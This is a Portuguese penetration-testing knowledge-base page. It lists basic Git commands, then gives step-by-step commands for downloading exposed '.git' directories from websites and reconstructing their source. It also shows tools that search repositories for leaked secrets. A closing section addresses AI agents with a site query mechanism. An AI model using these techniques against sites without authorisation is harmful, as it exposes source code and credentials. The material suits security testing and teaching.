# Git

### Comandos Básicos

| **COMANDO**                                                                                  | **DESCRIÇÃO**                                                                                                                                                                                             |
| -------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `git init <directory>`                                                                       | Cria um repositório local                                                                                                                                                                                 |
| `git clone <url>`                                                                            | Clona um repositório pra a máquina local                                                                                                                                                                  |
| `git clone <url> -b <branch>`                                                                | Clona um projeto de determinada branch. Por padrão é a `master`                                                                                                                                           |
| `git -c http.sslVerify=False clone <url>`                                                    | Clona um repositório ignorando TLS / SSL (útil quando o servidor não possui um certificado válido)                                                                                                        |
| `git branch`                                                                                 | Verifica a branch atual e as que branches que já foram utilizadas                                                                                                                                         |
| `git branch -a`                                                                              | Exibe todas as branches                                                                                                                                                                                   |
| `git branch <branch>`                                                                        | Cria uma branch                                                                                                                                                                                           |
| `git branch -D <branch>`                                                                     | Remove uma branch                                                                                                                                                                                         |
| `git checkout <branch>`                                                                      | Alterando de branch                                                                                                                                                                                       |
| `git checkout -b <new_branch>`                                                               | Cria uma branch e deixa ela como o repositório de uso                                                                                                                                                     |
| `git for-each-ref --format='%(committerdate) %09 %(authorname) %09 %(refname)' \| sort`      | Verificando quem criou as branchs                                                                                                                                                                         |
| `git fetch`                                                                                  | Atualiza os objetos e referências de outros repositórios                                                                                                                                                  |
| `git add <file1> <file2> ... <file 10>`                                                      | Adiciona arquivos para  commit                                                                                                                                                                            |
| `git add .`                                                                                  | Adiciona todos os arquivos para commit                                                                                                                                                                    |
| `git diff`                                                                                   | Mostra o que foi alterado na brach atual                                                                                                                                                                  |
| `git diff  <remote_branch> -- <file>`                                                        | Comparando o arquivo atual com o mesmo em outra branch                                                                                                                                                    |
| `git diff <branch1> <branch2>`                                                               | Compara uma branch com outra                                                                                                                                                                              |
| `git commit -m '<messagem>'`                                                                 | Definindo mensagem de Commit                                                                                                                                                                              |
| `git push`                                                                                   | Enviando arquivos para o server                                                                                                                                                                           |
| `git push -u origin <branch>`                                                                | Enviando arquivos para o server em uma determnada branch                                                                                                                                                  |
| `git merge <remote_branch>`                                                                  | <p>Pega o código de uma branch remota e trás para a branch atual.</p><p><strong>OBS.:</strong> Antes de executar esse comando, entre na branch atual e execute <strong><code>git pull</code></strong></p> |
| `git stash ; git checkout <brach> ; git stash apply`                                         | Importando as modificações de uma branch para outra. Útil para cenários onde o Git pede para fazer um commit antes de alterar de branch                                                                   |
| `git reset --hard HEAD`                                                                      | Restaurando código para última versão da branch                                                                                                                                                           |
| `git checkout HEAD -- <arquivo.txt>`                                                         | Restaundo somente um arquivo para o estado do último commit                                                                                                                                               |
| `git reset --hard <id_commit>`                                                               | Desfazendo commit ou merge                                                                                                                                                                                |
| `git log`                                                                                    | Mostra Logs da Branch                                                                                                                                                                                     |
| `git log --graph --decorate`                                                                 | Mostra Logs da Branch com uma árvore do lado                                                                                                                                                              |
| `git log --graph --oneline --all`                                                            | Mostrando a árvore do GIT                                                                                                                                                                                 |
| `git log -p -- <file>`                                                                       | <p>Vendo histórico de determinado arquivo.</p><p><strong>OBS</strong>.: Remova o parâmetro <strong><code>-p</code></strong> para editar o diff</p>                                                        |
| `git reflog`                                                                                 | Os logs de referência, ou "reflogs", registram quando as dicas de ramificações e outras referências foram atualizadas no repositório local                                                                |
| `git reset --hard <commit> ; git reset --soft HEAD@{1} ; git commit -m "Revert to <commit>"` | Voltando uma commit antigo                                                                                                                                                                                |

###

### Baixando Git Exposto

É comum acharmos o subdiretório `.git` aberto e, caso o ache, execute o comando abaixo para baixar todo o projeto:

```bash
wget --mirror -I .git https://<domain>/.git/
```

Depois podemos executar o comando `git checkout --` para resetar o repositório, recuperando todos os arquivos.

### Gitdumper

Baixando o repositório GIT com todo o seu histórico. Note  que será criado um diretório chamado .`git` no dentro do diretório de destino.

```bash
./gitdumper.sh https://site.com/.git/ <diretório_destino>
```

Após baixar o repositório, podemos filtrar pelos logs (commits) ou podemos usar o `Extractor`, para extrair todos os arquivos em suas respectivas versões. Indique o local que exportou o `.git` (no comando anterior)**.**

```bash
./extractor.sh </path/repo/> <diretório_destino>
```

### Truffle Hog

Filtra o histórico de commits buscando dados sensíveis.

```bash
python3 truffleHog.py https://github.com/<profile>/<repo>
```

###

### GitLeaks

Ferramenta que encontra senhas não criptografadas e outros tipos de dados sensíveis em repositórios Git que estão públicos.

```bash
gitleaks -v --repo-path=</path/repository>/
# Ou 
docker run -it -v </path/git_repository/>:/data/ zricethezav/gitleaks gitleaks -v --repo-path=/data/
```

### GitMiner

```bash
python3 gitminer-v2.0.py --query '<query>' -m <module> -c <cookie>
```

**OBS.:** O cookie tem que ser extraído (pode ser direto do navegador) no fomato:

```
_octo=<value>
user_session=<value>
```

Verificar no site (github) todos os módulos que ele possui

### Acessando Informações do Git Manualmente

#### Método 1

Esse método é utilizando quando temos o acesso aos arquivos do diretório `.git/objects` e nele podemos ver diretórios com nome que contém apenas dois caracteres.

Muitas vezes, o diretório `.git` ou `.git/` está protegido, mas arquivos como `.git/config` e `.git/HEAD` estão disponíveis para leitura. Então para começar, vamos ler o arquivo `.git/HEAD`.

```bash
https://site.com/.git/HEAD
```

Irá ser retornado algo como `ref: refs/heads/master`. Então vamos acessar o valor de `ref`, da seguinte forma:

```bash
https://site.com/.git/refs/heads/master
```

Com isso, será retornado um hash (parecido com um MD5) que servirá como base do nossa próxima URL. Vamos supor que o hash retornado do comando anterior, seja `e62a9ebea4632f2f7746ad9a1bbf3424171fe410`. Iremos pegar os dois primeiros caracteres (`e6`) para usarmos como nome do diretório e o restante (`2a9ebea4632f2f7746ad9a1bbf3424171fe410`) será o nome do arquivo. A URL irá ser a seguinte:

```bash
https://site.com/.git/objects/e6/2a9ebea4632f2f7746ad9a1bbf3424171fe410
```

Note que será disponibilizado um arquivo para download. Esse arquivo não está legível no momento, mas podemos descomprimí-lo, para ler seu conteúdo.

```bash
printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" | cat - <file_downloaded> | gzip  -cd -q | strings -a
```

Nesse momento, podemos ver nome(s) de arquivo(s) ou hash de commit. Caso tenha algum commit, repita o processo utilizando o hash informado para baixar um novo arquivo.

Caso consiga visualizar nomes de arquivos, devemos criar nosso próprio repositório local, pois o comando `strings` não consegue nos mostrar o hash de cada arquivo.

```bash
mkdir /tmp/git
cd /tmp/git
git init

# Altere o final "e6" pelos dois primeiros caracteres que encontrar
mkdir -p .git/objects/e6
cp </path/file_downloaded> /tmp/git/.git/objects/e6/

# Note que estamos usando o hash que achamos no início
git cat-file -p e62a9ebea4632f2f7746ad9a1bbf3424171fe410
```

Após ter executado este último comando, conseguimos ver as hashes completas de cada arquivo, então podemos usar essa hash para realizar o download do arquivo, como fizemos anteriormente.

#### Método 2

Esse método é utilizando quando temos o acesso aos arquivos do diretório `.git/objects` e nele podemos ver um arquivo com extensão `pack`.

Baixe o arquivo `.pack` localizado em `.git/objects`. Acesso o diretório onde salvou o arquivo pack, e execute os seguintes comandos:

```bash
git init
cat <file.pack> | git unpack-objects
```

Note que agora há alguns (ou vários) diretórios com nomes que tenham apenas dois caracteres em `.git/objects`. Agora para ler o conteúdo dos arquivos basta executar o comando abaixo:

```bash
printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" | cat - .git/objects/<diretorio_com_dois_caracteres>/<arquivo_qualquer> | gzip -cd -q | strings -a
```

#### Sites

```bash
# Gitdumper
https://github.com/internetwache/GitTools
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/git.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
